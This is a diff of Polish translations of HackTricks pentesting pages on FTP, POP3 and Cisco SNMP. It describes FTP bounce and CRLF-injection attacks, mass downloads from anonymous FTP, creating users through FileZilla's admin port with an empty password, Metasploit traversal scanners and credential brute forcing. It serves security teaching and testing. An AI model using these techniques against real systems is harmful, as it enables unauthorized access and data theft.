||||
|
||||
Testy anonimowego logowania i odbicia FTP są domyślnie wykonywane przez nmap z opcją **-sC** lub:
|
||||
Anonimowe logowanie i sprawdzanie bounce FTP są wykonywane domyślnie przez nmap z opcją **-sC** lub:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
## Połączenie przeglądarki
|
||||
## Browser connection
|
||||
|
||||
Możesz połączyć się z serwerem FTP za pomocą przeglądarki (np. Firefox) za pomocą adresu URL:
|
||||
Możesz połączyć się z serwerem FTP za pomocą przeglądarki (takiej jak Firefox) używając adresu URL takiego jak:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Zauważ, że jeśli **aplikacja internetowa** wysyła dane kontrolowane przez użytkownika **bezpośrednio do serwera FTP**, możesz wysłać podwójne kodowanie URL `%0d%0a` (w podwójnym kodowaniu URL to `%250d%250a`) bajtów i sprawić, że **serwer FTP wykona arbitralne akcje**. Jedną z możliwych arbitralnych akcji jest pobranie zawartości z serwera kontrolowanego przez użytkownika, przeprowadzenie skanowania portów lub próba komunikacji z innymi usługami opartymi na tekście zwykłym (np. http).
|
||||
Zauważ, że jeśli **aplikacja webowa** wysyła dane kontrolowane przez użytkownika **bezpośrednio do serwera FTP**, możesz wysłać podwójne kodowanie URL `%0d%0a` (w podwójnym kodowaniu URL to `%250d%250a`) i sprawić, że **serwer FTP wykona dowolne akcje**. Jedną z tych możliwych dowolnych akcji jest pobranie zawartości z serwera kontrolowanego przez użytkownika, przeprowadzenie skanowania portów lub próba komunikacji z innymi usługami opartymi na czystym tekście (takimi jak http).
|
||||
|
||||
## Pobierz wszystkie pliki z FTP
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Jeśli twój użytkownik/hasło zawiera znaki specjalne, można użyć [następującej komendy](https://stackoverflow.com/a/113900/13647948):
|
||||
Jeśli twoja nazwa użytkownika/hasło zawiera znaki specjalne, można użyć [następującego polecenia](https://stackoverflow.com/a/113900/13647948):
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
## Kilka poleceń FTP
|
||||
## Niektóre komendy FTP
|
||||
|
||||
* **`USER nazwa_użytkownika`**
|
||||
* **`PASS hasło`**
|
||||
* **`HELP`** Serwer wskazuje, które polecenia są obsługiwane
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*To spowoduje, że serwer FTP nawiąże połączenie z adresem IP 127.0.0.1 na porcie 80 (_musisz ustawić 5. znak jako "0" i 6. jako numer portu w systemie dziesiętnym lub użyć 5. i 6. znaku, aby wyrazić port w systemie szesnastkowym_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Spowoduje, że serwer FTP nawiąże połączenie TCP (_oznaczone przez "2"_) z adresem IP 127.0.0.1 na porcie 80. To polecenie **obsługuje IPv6**.
|
||||
* **`LIST`** Spowoduje wysłanie listy plików w bieżącym folderze
|
||||
* **`LIST -R`** Lista rekursywnie (jeśli serwer zezwala)
|
||||
* **`APPE /ścieżka/coś.txt`** Spowoduje, że FTP zapisze otrzymane dane z połączenia **pasywnego** lub z połączenia **PORT/EPRT** do pliku. Jeśli nazwa pliku istnieje, dane zostaną do niego dodane.
|
||||
* **`STOR /ścieżka/coś.txt`** Podobne do `APPE`, ale nadpisze pliki
|
||||
* **`STOU /ścieżka/coś.txt`** Podobne do `APPE`, ale jeśli plik istnieje, nic nie zrobi.
|
||||
* **`RETR /ścieżka/do/pliku`** Należy nawiązać połączenie pasywne lub portowe. Następnie serwer FTP wyśle wskazany plik przez to połączenie
|
||||
* **`REST 6`** Spowoduje, że serwer następnym razem, gdy wyśle coś za pomocą `RETR`, rozpocznie od 6. bajtu.
|
||||
* **`TYPE i`** Ustawia transfer na binarny
|
||||
* **`PASV`** Spowoduje otwarcie połączenia pasywnego i wskaże użytkownikowi, gdzie może się połączyć
|
||||
* **`PUT /tmp/plik.txt`** Wysyła wskazany plik na serwer FTP
|
||||
* **`USER username`**
|
||||
* **`PASS password`**
|
||||
* **`HELP`** Serwer wskazuje, które komendy są obsługiwane
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*To wskaże serwerowi FTP nawiązanie połączenia z IP 127.0.0.1 na porcie 80 (_musisz wpisać 5-ty znak jako "0" i 6-ty jako port w systemie dziesiętnym lub użyć 5-tego i 6-tego do wyrażenia portu w systemie szesnastkowym_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*To wskaże serwerowi FTP nawiązanie połączenia TCP (_wskazane przez "2"_) z IP 127.0.0.1 na porcie 80. Ta komenda **obsługuje IPv6**.
|
||||
* **`LIST`** To wyśle listę plików w bieżącym folderze
|
||||
* **`LIST -R`** Lista rekurencyjna (jeśli dozwolone przez serwer)
|
||||
* **`APPE /path/something.txt`** To wskaże FTP na zapisanie danych otrzymanych z **pasywnego** połączenia lub z połączenia **PORT/EPRT** do pliku. Jeśli nazwa pliku istnieje, dane zostaną dołączone.
|
||||
* **`STOR /path/something.txt`** Jak `APPE`, ale nadpisze pliki
|
||||
* **`STOU /path/something.txt`** Jak `APPE`, ale jeśli istnieje, nie zrobi nic.
|
||||
* **`RETR /path/to/file`** Musi być nawiązane pasywne lub portowe połączenie. Następnie serwer FTP wyśle wskazany plik przez to połączenie
|
||||
* **`REST 6`** To wskaże serwerowi, że następnym razem, gdy wyśle coś używając `RETR`, powinien zacząć od 6. bajtu.
|
||||
* **`TYPE i`** Ustaw transfer na binarny
|
||||
* **`PASV`** To otworzy pasywne połączenie i wskaże użytkownikowi, gdzie może się połączyć
|
||||
* **`PUT /tmp/file.txt`** Prześlij wskazany plik do FTP
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
|
||||
## Atak FTPBounce
|
||||
|
||||
Niektóre serwery FTP pozwalają na użycie polecenia PORT. To polecenie można wykorzystać, aby wskazać serwerowi, że chcesz połączyć się z innym serwerem FTP na określonym porcie. Następnie można użyć tego do skanowania otwartych portów hosta za pośrednictwem serwera FTP.
|
||||
Niektóre serwery FTP pozwalają na komendę PORT. Ta komenda może być użyta do wskazania serwerowi, że chcesz połączyć się z innym serwerem FTP na pewnym porcie. Następnie możesz użyć tego do skanowania, które porty hosta są otwarte przez serwer FTP.
|
||||
|
||||
[**Dowiedz się tutaj, jak wykorzystać serwer FTP do skanowania portów.**](ftp-bounce-attack.md)
|
||||
[**Dowiedz się tutaj, jak nadużywać serwera FTP do skanowania portów.**](ftp-bounce-attack.md)
|
||||
|
||||
Można również wykorzystać to zachowanie, aby sprawić, że serwer FTP będzie współpracował z innymi protokołami. Można **przesłać plik zawierający żądanie HTTP** i sprawić, że podatny serwer FTP **wyśle je do dowolnego serwera HTTP** (_może to posłużyć do dodania nowego użytkownika admina?_) lub nawet przesłać żądanie FTP i sprawić, że podatny serwer FTP pobierze plik z innego serwera FTP.\
|
||||
Możesz również nadużywać tego zachowania, aby sprawić, że serwer FTP będzie współdziałał z innymi protokołami. Możesz **przesłać plik zawierający żądanie HTTP** i sprawić, że podatny serwer FTP **wyśle je do dowolnego serwera HTTP** (_może, aby dodać nowego użytkownika admina?_) lub nawet przesłać żądanie FTP i sprawić, że podatny serwer FTP pobierze plik z innego serwera FTP.\
|
||||
Teoria jest prosta:
|
||||
|
||||
1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz porozmawiać z innym serwerem HTTP lub FTP, musisz zmienić linie na `0x0d 0x0a`
|
||||
2. **Użyj `REST X`, aby uniknąć wysyłania znaków, których nie chcesz wysłać** (może być konieczne dodanie nagłówka obrazu na początku, aby przesłać żądanie w pliku)
|
||||
1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmieniać linie z `0x0d 0x0a`
|
||||
2. **Użyj `REST X`, aby uniknąć wysyłania znaków, których nie chcesz wysyłać** (może, aby przesłać żądanie w pliku, musiałeś dodać nagłówek obrazu na początku)
|
||||
3. **Użyj `PORT`, aby połączyć się z dowolnym serwerem i usługą**
|
||||
4. **Użyj `RETR`, aby wysłać zapisane żądanie do serwera.**
|
||||
|
||||
Prawdopodobnie pojawi się błąd jak **_Socket not writable_**, **ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane za pomocą `RETR`**. Sugerowane sposoby próby uniknięcia tego to:
|
||||
Jest bardzo prawdopodobne, że **spowoduje to błąd taki jak** _**Socket not writable**_ **ponieważ połączenie nie trwa wystarczająco długo, aby wysłać dane za pomocą `RETR`**. Sugestie, aby spróbować tego uniknąć, to:
|
||||
|
||||
* Jeśli wysyłasz żądanie HTTP, **wysyłaj to samo żądanie jeden po drugim** do przynajmniej **\~0,5 MB**. Na przykład:
|
||||
* Jeśli wysyłasz żądanie HTTP, **umieść to samo żądanie jedno po drugim** aż do **\~0.5MB** przynajmniej. Tak jak to:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts.txt" %}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Spróbuj **wypełnić żądanie "śmieciami" związanymi z protokołem** (w przypadku FTP może to być po prostu polecenia "śmieci" lub powtarzanie instrukcji `RETR` do pobrania pliku)
|
||||
* Spróbuj **wypełnić żądanie "śmieciowymi" danymi związanymi z protokołem** (rozmawiając z FTP, może po prostu śmieciowe komendy lub powtarzając instrukcję `RETR`, aby uzyskać plik)
|
||||
* Po prostu **wypełnij żądanie dużą ilością znaków null lub innych** (podzielonych na linie lub nie)
|
||||
|
||||
W każdym razie, tutaj masz [stary przykład, jak wykorzystać to, aby sprawić, że serwer FTP pobierze plik z innego serwera FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
W każdym razie, tutaj masz [stary przykład, jak nadużywać tego, aby sprawić, że serwer FTP pobierze plik z innego serwera FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Luka w zabezpieczeniach serwera Filezilla
|
||||
## Wrażliwość serwera Filezilla
|
||||
|
||||
**FileZilla** zazwyczaj **łączy się** z **usługą administracyjną** dla **FileZilla-Server** (port 14147). Jeśli możesz **utworzyć tunel** z **twojego komputera**, aby uzyskać dostęp do tego portu, możesz się do **niego podłączyć** używając **pustego hasła** i **utworzyć** nowego **użytkownika** dla usługi FTP.
|
||||
**FileZilla** zazwyczaj **wiąże** się z **lokalnym** **serwisem administracyjnym** dla **FileZilla-Server** (port 14147). Jeśli możesz stworzyć **tunel** z **twojej maszyny** do dostępu do tego portu, możesz **połączyć się** z **nim** używając **pustego hasła** i **utworzyć** **nowego użytkownika** dla usługi FTP.
|
||||
|
||||
## Pliki konfiguracyjne
|
||||
```
|
||||
|
@ -204,17 +207,17 @@ vsftpd.conf
|
|||
```
|
||||
### Post-Exploitation
|
||||
|
||||
Domyślna konfiguracja vsFTPd można znaleźć w `/etc/vsftpd.conf`. Tutaj można znaleźć niektóre niebezpieczne ustawienia:
|
||||
Domyślna konfiguracja vsFTPd znajduje się w `/etc/vsftpd.conf`. Możesz tutaj znaleźć niebezpieczne ustawienia:
|
||||
|
||||
* `anonymous_enable=YES`
|
||||
* `anon_upload_enable=YES`
|
||||
* `anon_mkdir_write_enable=YES`
|
||||
* `anon_root=/home/username/ftp` - Katalog dla anonimowych.
|
||||
* `chown_uploads=YES` - Zmiana właściciela anonimowo przesłanych plików
|
||||
* `chown_uploads=YES` - Zmień właściciela anonimowo przesłanych plików
|
||||
* `chown_username=username` - Użytkownik, który otrzymuje własność anonimowo przesłanych plików
|
||||
* `local_enable=YES` - Włącz logowanie lokalnych użytkowników
|
||||
* `no_anon_password=YES` - Nie pytaj anonimowego o hasło
|
||||
* `write_enable=YES` - Pozwól na polecenia: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
|
||||
* `local_enable=YES` - Zezwól lokalnym użytkownikom na logowanie
|
||||
* `no_anon_password=YES` - Nie pytaj anonimowych o hasło
|
||||
* `write_enable=YES` - Zezwól na polecenia: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
|
@ -231,7 +234,7 @@ Domyślna konfiguracja vsFTPd można znaleźć w `/etc/vsftpd.conf`. Tutaj możn
|
|||
|
||||
***
|
||||
|
||||
## HackTricks Automatyczne Polecenia
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
@ -283,14 +286,17 @@ Description: FTP enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# 110,995 - Testowanie penetracyjne POP
|
||||
# 110,995 - Pentesting POP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,31 +25,31 @@
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Protokół pocztowy (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który jest wykorzystywany do pobierania i **odzyskiwania poczty e-mail z zdalnego serwera poczty**, umożliwiając dostęp do niej na urządzeniu lokalnym. Umieszczony w warstwie aplikacji modelu OSI, ten protokół umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem poczty, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie ich usunięciu z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
**Post Office Protocol (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który jest wykorzystywany do ekstrakcji i **pobierania e-maili z zdalnego serwera pocztowego**, co umożliwia ich dostępność na lokalnym urządzeniu. Umiejscowiony w warstwie aplikacji modelu OSI, protokół ten umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem pocztowym, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie usunięciu ich z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
|
||||
**Domyślne porty:** 110, 995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
```
|
||||
## Wyliczanie
|
||||
## Enumeracja
|
||||
|
||||
### Pobieranie banera
|
||||
### Zbieranie banerów
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
```
|
||||
## Instrukcja
|
||||
## Ręczny
|
||||
|
||||
Możesz użyć polecenia `CAPA`, aby uzyskać możliwości serwera POP3.
|
||||
|
||||
## Zautomatyzowane
|
||||
## Zautomatyzowany
|
||||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
Plugin `pop3-ntlm-info` zwróci pewne "**wrażliwe**" dane (wersje systemu Windows).
|
||||
The `pop3-ntlm-info` plugin zwróci pewne "**wrażliwe**" dane (wersje Windows).
|
||||
|
||||
### [Brute force POP3](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
### [Bruteforce POP3](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## Składnia POP
|
||||
|
||||
|
@ -89,17 +92,17 @@ Here is your login for remote desktop ... try not to forget it this time!
|
|||
username: billydean
|
||||
password: PA$$W0RD!Z
|
||||
```
|
||||
## Niebezpieczne ustawienia
|
||||
## Niebezpieczne Ustawienia
|
||||
|
||||
Z [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Ustawienie** | **Opis** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Włącza wszystkie logowania debugowania uwierzytelniania. |
|
||||
| `auth_debug_passwords` | To ustawienie dostosowuje szczegółowość logowania, zalogowane są przesłane hasła i schemat. |
|
||||
| `auth_verbose` | Rejestruje nieudane próby uwierzytelnienia i ich przyczyny. |
|
||||
| `auth_verbose_passwords` | Hasła używane do uwierzytelnienia są rejestrowane i mogą być również ucięte. |
|
||||
| `auth_anonymous_username` | Określa nazwę użytkownika do użycia podczas logowania za pomocą mechanizmu ANONYMOUS SASL. |
|
||||
| **Ustawienie** | **Opis** |
|
||||
| ---------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Włącza wszystkie logi debugowania uwierzytelniania. |
|
||||
| `auth_debug_passwords` | To ustawienie dostosowuje szczegółowość logów, przesyłane hasła oraz schemat jest logowany. |
|
||||
| `auth_verbose` | Loguje nieudane próby uwierzytelnienia i ich przyczyny. |
|
||||
| `auth_verbose_passwords` | Hasła używane do uwierzytelnienia są logowane i mogą być również skracane. |
|
||||
| `auth_anonymous_username` | Określa nazwę użytkownika, która ma być używana podczas logowania za pomocą mechanizmu ANONYMOUS SASL. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -107,7 +110,7 @@ Z [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackt
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
## HackTricks Automatyczne Komendy
|
||||
```
|
||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 110 #Comma separated if there is more than one.
|
||||
|
@ -150,10 +153,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hackowania AWS od podstaw do mistrza z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,68 +1,74 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Testowanie penetracyjne sieci Cisco
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** działa przez UDP na portach 161/UDP dla wiadomości ogólnych i 162/UDP dla wiadomości pułapki. Ten protokół polega na ciągach społeczności, pełniących rolę haseł umożliwiających komunikację między agentami SNMP a serwerami. Te ciągi są kluczowe, ponieważ określają poziomy dostępu, w szczególności **tylko do odczytu (RO) lub do odczytu i zapisu (RW)**. Znaczącym wektorem ataku dla testerów penetracyjnych jest **próba odgadnięcia ciągów społeczności**, mająca na celu infiltrowanie urządzeń sieciowych.
|
||||
**SNMP** działa na UDP z portami 161/UDP dla ogólnych wiadomości i 162/UDP dla wiadomości trap. Protokół ten opiera się na ciągach społeczności, które pełnią rolę haseł umożliwiających komunikację między agentami SNMP a serwerami. Ciągi te są kluczowe, ponieważ określają poziomy dostępu, w szczególności **tylko do odczytu (RO) lub odczytu i zapisu (RW)**. Znaczącym wektorem ataku dla pentesterów jest **brute-forcing ciągów społeczności**, mający na celu infiltrację urządzeń sieciowych.
|
||||
|
||||
